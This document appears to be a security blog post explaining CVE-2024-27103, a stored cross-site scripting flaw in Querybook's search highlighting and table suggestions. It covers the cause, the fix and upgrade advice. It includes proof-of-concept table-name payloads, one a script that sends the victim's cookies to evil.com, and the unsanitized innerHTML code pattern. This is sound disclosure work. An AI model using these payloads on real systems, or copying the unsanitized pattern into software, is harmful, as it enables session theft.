In February 2024, security researchers publicly disclosed CVE-2024-27103, a serious Cross-Site Scripting (XSS) vulnerability in Querybook, the open-source UI for Big Data querying and collaboration. This post breaks down what caused the bug, how attackers could exploit it, and how you can protect your team.
What is Querybook?
Querybook is an open-source web platform developed by Pinterest for teams to collaborate on data. It lets you write and run SQL queries, save them as notebooks (called datadocs), and explore table data from sources like Presto, Druid, and Trino. It’s popular with data analysts and engineers at many organizations.
The Vulnerability: Unfiltered User-Controlled Input
CVE-2024-27103 is a classic XSS bug: Querybook doesn’t sanitize user input before injecting it into the page’s HTML. Specifically, when you search for queries, datadocs, lists, or tables, Querybook highlights the search result by wrapping matching text in HTML tags (using <mark>), leveraging React’s dangerouslySetInnerHTML.
Querybook trusted user data—what others name tables, queries, and datadocs.
- When you search, any matching text is run through dangerouslySetInnerHTML, _without sanitizing for script tags or HTML content._
- For table name suggestions (like when writing SQL), the table names were also injected with .innerHTML, again with no sanitization.
This means a user could, for example, create a table with a name like "><script>alert('XSS')</script>, and as soon as anyone got this suggestion in their search, the script ran in their browser!
How the Attack Works: XSS in Action
Let’s walk through a simple proof-of-concept attack.
Suppose you have permission to create tables. You name your new table
"><img src=x onerror=alert('Hacked by XSS!')>
2. Trigger the Vulnerability
When ANY user with access searches for something that matches this table name (even by just typing a character that matches), Querybook does the following in JavaScript/React:
// Highlight match using dangerouslySetInnerHTML
const highlighted = <mark>${match}</mark>;
return <span dangerouslySetInnerHTML={{__html: highlighted}} />;
But because match includes raw user-supplied text, this allows script injection.
Or, for table auto-suggestion
// Intentionally simplified, but similar in the UI code:
suggestionItem.innerHTML = userTableName;
3. The Result
Any JavaScript in the malicious table name executes in the victim’s session. It could steal cookies, session tokens, or execute actions as the user.
Imagine you want to pop up a cookie stealer whenever someone triggers the suggestion
CREATE TABLE "><script>fetch('https://evil.com/?cookie=' + encodeURIComponent(document.cookie))</script> AS SELECT 1;
Now, when a victim types anything to trigger the suggestion or search—BOOM! Their browser will send their cookie to the attacker’s server.
Real-World Impact
- Steal login sessions: An attacker with any table/asset creation rights can target users with higher privileges.
Fix & Recommendations
Pinterest fixed this in Querybook v3.31.2 (Feb 2024):
- They escape and/or sanitize user input before inserting via dangerouslySetInnerHTML or innerHTML.
- The fix is detailed in the security advisory.
Upgrade Querybook to v3.31.2 or above immediately.
2. Audit your Querybook data for malicious table/query names.
3. Educate users never to trust highlighted/auto-suggested field inputs in web apps.
References
- GitHub Security Advisory: CVE-2024-27103
- Querybook Source Code
- React’s dangerouslySetInnerHTML docs
- Querybook Release v3.31.2
Conclusion
CVE-2024-27103 is a lesson in how even trusted internal apps can turn dangerous if you don’t escape and sanitize user input. If you use Querybook, patch _now_—and always treat user input as dangerous, no matter where it comes from.
Timeline
Published on: 02/28/2024 18:15:45 UTC
Last modified on: 02/29/2024 13:49:47 UTC